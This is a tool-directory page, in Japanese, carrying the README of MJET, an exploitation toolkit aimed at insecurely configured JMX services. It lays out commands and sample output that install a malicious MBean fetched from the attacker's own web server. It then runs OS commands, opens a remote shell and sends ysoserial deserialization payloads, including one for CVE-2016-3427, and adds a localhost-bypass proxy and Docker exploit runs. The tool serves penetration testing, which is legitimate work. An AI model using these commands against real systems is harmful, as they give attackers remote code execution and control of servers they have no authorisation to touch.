Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
mjet — MOGWAI LABS JMXエクスプロイトツールキット | Kitploit
ツール/GitHubGitHub/mogwailabs/mjet
ペイロード生成エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミングリモートアクセスツールArchived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS JMXエクスプロイトツールキット

リポジトリを見る
2054713年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MOGWAI LABS による MJET

MOGWAI LABS JMX エクスプロイトツールキット

MJET は sjet のフォークです。sjet は siberas によって開発されましたが、もはや積極的にはメンテナンスされていません。MJET は、オリジナルの sjet コードベースの大部分も提供した MOGWAI LABS チームによってメンテナンスされています。

MJET を使用すると、安全でない設定の JMX サービスを簡単に悪用できます。追加の背景情報は ここ と ここ にあります。

!!! 重要: このプロジェクトはメンテナンスされていません

このリポジトリはもはや積極的にメンテナンスされていません。代わりに qtcs beanshooter の使用を推奨します。

前提条件

  • Jython 2.7
  • Ysoserial(JMX を介したデシリアライゼーションの脆弱性を悪用するため)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar(代替の JMX メッセージプロトコル(JMXMP)をサポートするため)

使用方法

MJET は CLI インターフェースを実装しています(argparse を使用)。

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

ここで

  • targetHost - ターゲット IP アドレス
  • targetPort - JMX が実行されているターゲットポート
  • MODE - スクリプトのモード
  • modeOptions - 選択したモードのオプション

認証サポート(JMX 認証が有効な場合):

  • --jmxrole - ユーザー名
  • --jmxpassword - パスワード

その他のオプション引数:

  • --jmxmp - JMX-MP を使用する(追加の JAR のロードが必要)
  • --localhost_bypass - localhost バイパスにおけるプロキシのサービスポート
  • --shell - 定義されたシェルを使用する
  • --rmiObjectName - JMX エンドポイントの RMI 名

モードと modeOptions

  • install - 現在のターゲットにペイロードをインストールする
    • password - インストール成功後に設定するパスワード
    • payload_url - ペイロードをロードするための完全な URL
    • payload_port - ペイロードをロードするためのポート
  • uninstall - 現在のターゲットからペイロードをアンインストールする
  • changepw - 既にデプロイされたペイロードのパスワードを変更する
    • password - インストールされた MBean にアクセスするためのパスワード
    • newpass - 新しいパスワード
  • command - targetHost 上でコマンド CMD を実行する
    • password - インストールされた MBean にアクセスするためのパスワード
    • CMD - 実行するコマンド
  • shell - targetHost 上でシンプルなシェルを起動する(java の Runtime.exec() の制限付き)
    • password - インストールされた MBean にアクセスするためのパスワード
  • javascript - targetHost 上で JavaScript ファイル FILENAME を実行する
    • password - インストールされた MBean にアクセスするためのパスワード
    • FILENAME - 実行する JavaScript
  • deserialize - ysoserial ペイロードをターゲットに送信する
    • gadget - ysoserial が提供するガジェット(例: CommonsCollections6)
    • cmd - 実行するコマンド
  • webserver - MLET Web サーバーを実行するだけ
    • payload_url - ペイロードをロードするための完全な URL
    • payload_port - ペイロードをロードするためのポート

使用例

脆弱な JMX サービスへのペイロード MBean のインストール

次の例では、脆弱な JMX サービスが 10.165.188.23 のポート 2222 で実行されており、攻撃者の IP アドレスは 10.165.188.1 です。JMX サービスは攻撃者の Web サービスに接続してペイロード jar ファイルをダウンロードします。MJET は必要な Web サービスをポート 8000 で起動します。

MBean のインストールが成功すると、デフォルトのパスワードはコマンドラインで指定されたパスワード("super_secret")に変更されます。

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

JMX 資格情報を使用したインストール(サーバーの弱い設定も必要です):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Linux ターゲットでコマンド 'ls -la' を実行する:

ペイロードがインストールされた後、それを使用してターゲット上で OS コマンドを実行できます。

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

シェルモードでの実行

毎回のコマンドで Java をロードしたくない場合は、「シェルモード」を使用して制限付きのコマンドシェルを取得できます。

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

ターゲット上で JavaScript ペイロードを呼び出す:

サンプルスクリプト「javaproperties.js」は、脆弱なサービスの Java プロパティを表示します。次のように呼び出すことができます:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

パスワードの変更

既存のパスワード("super_secret")を "this-is-the-new-password" に変更します:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

ターゲットからペイロード MBean をアンインストールする

ターゲットからペイロード MBean「MogwaiLabs」をアンインストールします:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

ysoserial を使用した Java デシリアライゼーションの悪用

ターゲット上で ysoserial を使用して Java デシリアライゼーションを悪用します。 ysoserial.jar ファイルが MJET ディレクトリに存在する必要があります。 オリジナルの ysoserial 呼び出しと同様に、任意の ysoserial ペイロードを選択できます。

この攻撃は、JMX 認証が有効で、ユーザーが「readonly」権限を持っている場合でも機能します。

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

CVE-2016-3427 の悪用: Java デシリアライゼーションを使用した JMX 認証

ysoserial を使用して CVE-2016-3427 を悪用します。 ysoserial.jar ファイルが MJET/jar ディレクトリに存在する必要があります。 オリジナルの ysoserial 呼び出しと同様に、任意の ysoserial ペイロードを選択できます。

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

参照: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

Web サーバーのみのモード

MLET コードとペイロード MBean を含む JAR ファイルを提供する Web サーバーのみを実行することも可能です。

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

JMX メッセージプロトコル(JMXMP)サポート

opendmk_jmxremote_optional_jar-1.0-b01-ea.jar をダウンロードし、jars ディレクトリに移動します。java -cp を使用してこのディレクトリをクラスパスに追加する必要があります。

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Localhost バイパス

RMI レジストリが localhost でのみアクセス可能な RemoteObject を公開することがあります(例 @127.0.0.1:45401)。ただし、RemoteObject がネットワーク経由でアクセス可能なポートは開いています。

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

--localhost_bypass <PORT> オプションを使用することで、このサービスを悪用することは依然として可能です。次の例では、ポート 45401 を使用しています。これにより、localhost 上で TCP プロキシが起動し、指定されたポートの targetHost にトラフィックが転送されます。

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

カスタム RMI オブジェクト名

JMX エンドポイントの RMI オブジェクト名が jmxrmi ではない場合があります。その場合は、--rmiObjectName パラメータを使用して適切な RMI オブジェクト名を指定できます。例: --rmiObjectName=customJmxRmi。

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

独自定義シェルの使用

ターゲットシステムが /bin/bash や cmd.exe シェルを提供していない場合があります。この場合、オプションのパラメータ --shell を指定できます。例: --shell="bash -c"。mjet.py で JavaScript の javaproperties.js を実行すると、環境に関する詳細情報が得られます。

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

参照: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Docker イメージのビルドと実行

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

デフォルトでは、Docker イメージは HTTP サーバー用にポート 8000 を公開します。別のポートが必要な場合は、そのポートを公開することを忘れないでください!

貢献

気軽に貢献してください。

著者

  • Hans-Martin Münch - 初期アイデアと開発 - h0ng10
  • Patricio Reller - CLI と追加オプション - preller
  • Ben Campbell - いくつかの改善 - Meatballs1
  • Arnim Rupp - 認証サポート
  • Sebastian Kindler - デシリアライゼーションサポート
  • Karsten Zeides - JMX メッセージプロトコルサポート、localhost バイパス zeides
  • g60ocR - Docker ファイル g60ocR
  • Morn98 - シェルと RMI の選択 Morn98)

このプロジェクトに参加したコントリビューターのリストも参照してください。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

ツールをダウンロード